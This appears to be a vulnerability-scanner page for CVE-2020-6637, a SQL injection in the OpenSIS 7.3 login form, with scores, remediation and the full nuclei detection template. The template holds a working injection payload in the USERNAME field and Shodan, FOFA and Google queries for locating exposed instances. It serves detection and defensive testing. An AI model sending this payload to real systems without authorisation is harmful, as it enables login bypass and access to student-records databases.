OpenSIS 7.3 - SQL Injection

criticalseverity

9.8CVSS score

17.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

OpenSIS Community Edition version 7.3 is vulnerable to SQL injection via the USERNAME parameter of index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.

Fix

Apply the latest security patch or upgrade to a patched version of OpenSIS.

How to confirm it

Send: POST {{BaseURL}}/account/index.php ; POST {{BaseURL}}/opensis/index.php ; POST {{BaseURL}}/index.php
Positive when: contains "SQL STATEMENT:" and "<TD>UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOG…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-6637 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-6637

info:
  name: OpenSIS 7.3 - SQL Injection
  author: pikpikcu
  severity: critical
  description: OpenSIS Community Edition version 7.3 is vulnerable to SQL injection via the USERNAME parameter of index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of OpenSIS.
  reference:
    - https://cinzinga.com/CVE-2020-6637/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6637
    - https://sourceforge.net/projects/opensis-ce/files/
    - https://github.com/OS4ED/openSIS-Responsive-Design/commit/1127ae0bb7c3a2883febeabc6b71ad8d73510de8
    - https://opensis.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-6637
    cwe-id: CWE-89
    epss-score: 0.17576
    epss-percentile: 0.97166
    cpe: cpe:2.3:a:os4ed:opensis:7.3:*:*:*:community:*:*:*
  metadata:
    max-request: 3
    vendor: os4ed
    product: opensis
    shodan-query:
      - http.title:"openSIS"
      - http.title:"opensis"
    fofa-query: title="opensis"
    google-query: intitle:"opensis"
  tags: cve,cve2020,sqli,opensis,os4ed,vuln

http:
  - method: POST
    path:
      - '{{BaseURL}}/account/index.php'
      - '{{BaseURL}}/opensis/index.php'
      - '{{BaseURL}}/index.php'

    body: |
      USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log=

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'SQL STATEMENT:'
          - "<TD>UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER(NULL)or`1`=`1`;-- -')</TD>"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from